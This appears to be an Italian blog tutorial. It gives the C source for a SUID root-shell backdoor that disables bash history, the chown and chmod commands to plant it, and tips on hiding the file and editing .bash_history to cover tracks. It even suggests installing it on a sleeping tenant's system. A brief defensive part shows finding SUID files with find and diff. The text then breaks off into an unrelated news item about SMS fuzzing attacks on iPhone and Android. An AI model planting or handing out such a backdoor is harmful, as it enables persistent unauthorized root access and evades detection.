Le backdoor sono paragonabili a porte di servizio che consentono di
superare in parte o in tutto le procedure di sicurezza attivate in un sistema. Queste "porte" possono essere appositamente create dagli amministratori di sistema, oppure molte delle volte vengono create dai cracker intenzionati a manomettere il sistema. Il processo che porta un cracker a prendere il controllo di un sistema può essere diviso in due fasi. Nella prima fase, l'attacante sfrutta una qualsiasi vulnerabilità del sistema come ad esempio privilege escalation,doppio chroot per ottenere i permessi di root . Nelle seconda fase, l'attaccante se è un tantino furbo si deve assicurare la possibilità in un secondo momento di riprendere nuovamente il controllo del sistema nell'eventualità che vengono scoperti e riparati i bug. Un esempio molto banale di backdoor è quello di aggiungere ad un programma il bit di SUID attivo; che non fa altro che associare all’eseguibile in esecuzione i permessi del proprietario del file. Dal punto di vista della sicurezza ogni programma contenente il bit di SUID configurato, diventa un punto di riferimento per sfrtuttare la scalata verso la conquista dei privilegi. Un esempio di programma che possiamo camuffare all'interno del file system è il seguente:
#include unistd.h
#include sys/types.h
#include stdlib.h
int main ()
{
setuid(0);
setgid(0);
unsetenv("HISTFILE");
execl("/bin/bash","bash","-i",NULL);
return 0;
}
La prima cosa che ho fatto è stata quella di impostare a 0 l'identificazione dell'utente e quello del gruppo in quanto lo 0 è l'identificatore di root. Con il comando unsetenv("HISTFILE"), non faccio altro che eliminare il contenuto della variabile d'ambiente HISTFILE. Esso fa riferimento al nome del file nel quale vengono registrati i comandi dati dalla shell bash. Se questa variabile viene eliminata, la cronologia dei comandi non puo essere piu registrata. Con l'esecuzione della system call execl() eseguo il programma passato come argomento. E' di notevole importanza osservare che il programma passato come argomento della execl rimpiazza lo spazio di indirizzamento del processo padre,per cui al termine dell'esecuzione della execl() non si rientra nel programma chiamante e meno che non capiti una situazione di errore. Il programma lanciato dalla execl() essendo eseguito dalo stesso processo che l'ha invocata, non modifica nessun attributo del processo (pid,ppid,directory corrente e accesso ai file) questa è la santa ragione del perchè ho usato questa system call. Per chi vuole approfondire, consiglio lo studio dei seguenti libri di testo reperibili su www.librinformatica.com: I moderni sistemi operativi - terza edizione oppure Sistemi operativi con esempi per l'uso in Java e infine Linguaggio C in ambiente Linux. Chiusa questa parentesi, a questo punto non ci resta che provare ad eseguire il nostro programma per verificare se abbiamo ottenuto i privilegi di root:
$ gcc shell-suid.c -o shell-suid
$ ./shell-suid
$ id && exit
uid=1000(fabri) gid=1000(fabri) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(fabri)
A quanto pare l'esito del comando id ci suggerisce che l'utente non ha i diritti di root perchè non è stato configurato il bit di SUID per il file shell-suid. Supponiamo che per assurdo siamo riusciti ad ottere i privilegi di root oppure il vostro inquilino cattivo si addormenta per sbaglio nel divano con la shell di root aperte, perchè non approffitarne per installare nel suo sistema la nostra prima backdoor? Beh non dobbiamo fare altro che lanciare chown che serve per cambiare il proprietario al file e infine chmod che serve per cambiare permessi al nostro file eseguibile:
chown [opzioni] [utente][:[gruppo]] nomefile
opizioni:
–R lavora in modo ricorsivo
–from=utente:gruppo cambia i file del utente:gruppo
chmod [opzioni] modalità dei permessi sul file
opzioni:
u Utente proprietario del file
g Gruppo proprietario
o Utente diverso
a Tutti gli utenti indifferentemente
modalità:
r accesso lettura
w permesso scrittura
x permesso esecuzione
s Riguarda file eseguibili e directory (SUID SGID)
t file eseguibili e directory. STICKY bit
# chown root:root shell-suid
# chmod +s shell-suid
# exit
Adesso ogni utente che attiverà il programma riceverà i privilegi della shell di root. Se infine vogliamo fare un lavoro pulito, dobbiamo cancellare anche la cronologia degli ultimi comandi che abbiamo digitato.
$ cd /home/fabri/cartella/troppo_nascosta
$ ./shell-suid
# cd /home/fabri/
# nano .bash_history
Questa è una soluzione semplice,ma anche molto facile da scoprire tramite il comando find. il comando find permette di ricercare i file con determinate caratteristiche. Con l'opzione -perm è possibile specificare i permessi come criterio di ricarca. Nel caso vogliamo ricercare i file con SetUserId occorre specificare il parametro -004000. Un esempio di ricerca di programmi eseguibili con il bit SUID e SGID(stessa cosa per il gruppo) attivo è la seguente:
# find / \( -perm -004000 -o -perm -002000 \) -ls
Se noi inizialmente creiamo una lista di tutti i file con i relativi bit di suid attivi e poi ogni tanto ricreiamo un'altra lista,la possiamo confrontare con quella iniziale e subito ci accorgiamo della backdoor.
# find / \( -perm -004000 -o -perm -002000 \) > lista-inizio.txt
# find / \( -perm -004000 -o -perm -002000 \) > lista-controllo.txt
# diff lista-inizio.txt lista-controllo.txt | grep ^
> /home/fabri/cartella/troppo_nascosta/shell-suidLa prima parte sulle backdoor finisce qui.
lack Hat Conference USA 2009 è stato dimostrato come l’iPhone ma anche tutti gli smartphone basati su Android e Windows Mobile potrebbero essere in pericolo inviando semplicemente un SMS. Nel talk “Fuzzing the Phone in your Phone” http://www.blackhat.com/presentations/bh-usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-PAPER.pdf , Miller e Mulliner hanno spiegato come sia possibile, attraverso una serie di messaggi concatenati, mandare in crash l’iPhone e Android. Per ora Windows Mobile è ancora oggetto di analisi da parte dei due ricercatori, che comunque si dicono fiduciosi di poter trovare una falla anche nel sistema made in Redmond. Per quanto riguarda iPhone, Miller e Mulliner sono riusciti, con una serie di SMS appositamente forgiati, a mandare in crash CommCenter, il servizio che regge tutto lo stack telefonico sul melafonino. Con Android le cose sono andate praticamente allo stesso modo, l’attacco in questo caso ha interessato il demone “/system/bin/rild”. Come spiegato dagli autori per Windows Mobile le cose sono state un po’ più complicate e al momento i ricercatori stanno attaccando lo stack telefonico del sistema operativo. Per condurre gli attacchi i ricercatori si sono serviti di Sulley, un fuzzing framework in Python, scaricabile da Google Code attraverso SVN.
